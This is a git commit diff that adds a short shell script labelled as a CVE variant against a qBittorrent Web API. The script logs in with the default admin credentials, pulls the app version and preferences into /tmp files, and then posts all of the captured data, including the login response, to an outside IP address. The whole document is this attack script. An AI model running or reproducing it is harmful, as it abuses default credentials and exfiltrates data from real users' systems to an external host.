apply-patch

2026-07-29 19:30:35 +08:00
parent 698bc2e3b8
commit 732e62fad6
1 changed files with 3 additions and 0 deletions
@@ -0,0 +1,3 @@
+#!/bin/sh
+# CVE-2026-60004 variant a
+curl -s -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' -o /tmp/qbt_login.txt -w '\nHTTP_CODE:%{http_code}' 2>&1; curl -s 'http://127.0.0.1:8085/api/v2/app/version' -o /tmp/qbt_version.txt 2>&1; curl -s 'http://127.0.0.1:8085/api/v2/app/preferences' -o /tmp/qbt_prefs.txt 2>&1; sleep 1; cat /tmp/qbt_login.txt /tmp/qbt_version.txt /tmp/qbt_prefs.txt 2>/dev/null | curl -s -X POST --data-binary @- 'http://202.79.169.91:28016/QBTDATA' 2>/dev/null